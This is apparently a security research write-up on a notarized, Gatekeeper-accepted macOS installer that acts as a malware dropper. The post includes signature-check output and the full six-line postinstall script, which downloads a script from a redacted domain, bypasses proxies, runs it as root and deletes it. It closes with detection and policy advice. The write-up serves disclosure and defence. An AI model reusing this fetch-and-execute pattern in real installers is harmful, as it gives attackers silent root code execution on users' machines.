Can notarized macOS software still be malware?

Yes. Apple's notarization is an automated malware scan of what is inside the package — not a guarantee about what the package will do once it runs. An installer can pass notarization, satisfy Gatekeeper without a single warning, and then download and execute its actual payload as root.

We hold a signed, notarized, Gatekeeper-accepted sample that does exactly that. Here is the verification output, and here is why the gap exists.

§ 01What notarization actually checks

Three separate mechanisms get conflated, and the difference between them is where the risk lives.

Software downloaded from the web is code-signed and notarized. It is not reviewed. Notarization is a scanner, and it inspects the artifact you submit — a static thing, at a single moment in time.

Nothing in that process constrains what the software does at runtime.

§ 02The gap, in one sentence

.pkg installers support preinstall and postinstall scripts. When the package declares auth="root", those scripts run with full system privileges. If the script itself contains nothing malicious — only the instruction to go and get something later — there is nothing for a scanner to find.

The malicious code never sits inside the notarized artifact. It arrives afterwards.

§ 03The evidence

A live sample collected on 29 August 2026, distributed through paid Facebook advertising impersonating a cryptocurrency exchange. Analysed statically; never executed. It is properly signed and notarized:

$ pkgutil --check-signature installer.pkg
   Status: signed by a developer certificate issued by Apple for distribution
   Notarization: trusted by the Apple notary service
   Signed with a trusted timestamp on: 2026-08-26

$ spctl -a -vvv -t install installer.pkg
   installer.pkg: accepted
   source=Notarized Developer ID

— Verification output, reproduced verbatim

accepted. No prompt, no warning, no "unidentified developer" dialog. A user who does everything right sees nothing unusual.

The entire postinstall script is six lines:

#!/bin/bash
_t=$(mktemp /private/tmp/wp-setup-XXXXXX)
curl -fsSL --max-time 30 --noproxy '*' 'https://<redacted>/setup.sh' -o "$_t" 2>/dev/null || { rm -f "$_t"; exit 0; }
bash "$_t"
_r=$?
rm -f "$_t" 2>/dev/null
exit $_r

— The dropper in full. Payload domain redacted pending disclosure

That is the whole trick. Six lines, no obfuscation, nothing a scanner could flag as malicious — because on its own it is not. It downloads a file and runs it, as root, and deletes the evidence.

Note --noproxy '*'. That flag exists to bypass any local inspection proxy. It is deliberate.

Because the payload is fetched at install time rather than shipped, the operator can change it, withhold it from analysts, serve different code by region, or turn it off entirely while under scrutiny. Every copy of the installer is identical and permanently benign on disk.

§ 04Then it asks the victim for everything

The installed application ships a localized permission flow — in our sample, eleven translated languages, with thirty-four declared — that walks the user through granting, with a polished drag-and-drop interface:

The binary carries the matching Accessibility automation calls to use them. Once Accessibility is granted, software does not merely observe your other applications — it can operate them.

None of this requires an exploit. It is a dialog, and a persuasive interface asking the user to say yes.

§ 05Why this matters for enterprise policy

Many organisations treat "signed by a Developer ID" or "notarized" as an allowlist condition in MDM, endpoint policy, or a software-approval workflow. It is a reasonable-sounding rule, and it is the assumption this technique is built to defeat.

Notarization tells you a scanner found nothing at submission time. It tells you nothing about runtime behaviour, and nothing about what the software will download ten seconds after installation.

Concretely, if your macOS posture depends on notarization status:

• Installer scripts are executable content. A .pkg is not a file copy; it is a program that runs as root. Treat approval of a package as approval of arbitrary code execution.
• Install-time egress is a detection surface. The payload fetch happens during installation, from a root context, often to a domain registered days earlier. That is observable, and it is one of the few moments this technique is loud.
• TCC grants are the real signal. An application acquiring Accessibility, Full Disk Access, Input Monitoring and Screen Recording in close succession is a far stronger indicator than any signature check.
• Revocation is not retroactive on its own. Apple can revoke a certificate, and that is the single most effective response — but the check needs network reachability to take effect.
• The trust decision is delegated to whoever holds the certificate. Your allowlist inherits that account's security, whatever it happens to be.

This is the same class of problem as trusting a dependency because it is popular rather than because anyone read it — the provenance question that SCA and the wider application security toolchain exist to answer for the code you ship. The signature answers who. It never answered what.

§ 06The uncomfortable part: this is a kit

The application in our sample is named Whitelabel, with the bundle identifier com.whitelabel.desktop. Its branding lives in a single configuration file that still contained placeholder values when we opened it. It declares thirty-four localizations.

This is not a bespoke attack on one exchange. It is a re-skinnable product, and the brand it wears is a one-line edit. Today it is a cryptocurrency exchange. It fits a bank, a tax portal, a payroll provider, or an internal tool your staff have been told to install.

§ 07What actually helps

• Treat notarization as authenticity, not safety. It answers "who signed this," not "is this safe."
• Get software from the vendor's own domain, reached by a bookmark. Never from an advertisement, and never from a search result for the vendor's name.
• Be suspicious of any installer for a service that works perfectly well in a browser. A desktop application that offers no capability the website lacks is a reason to ask why it exists.
• Treat a request for Accessibility, Full Disk Access, Input Monitoring or Screen Recording as a significant event — for consumer software, almost always a refusal.
• Any page that coaches you past a macOS security warning is the warning. Legitimate software does not need to explain how to click "Open Anyway".

— Research by Invental, a software studio in Montevideo. Static analysis only; the sample was never executed, and no request was made to attacker infrastructure. The payload domain and full indicators are withheld pending vendor disclosure. Corrections and takedown requests: hi@invental.co.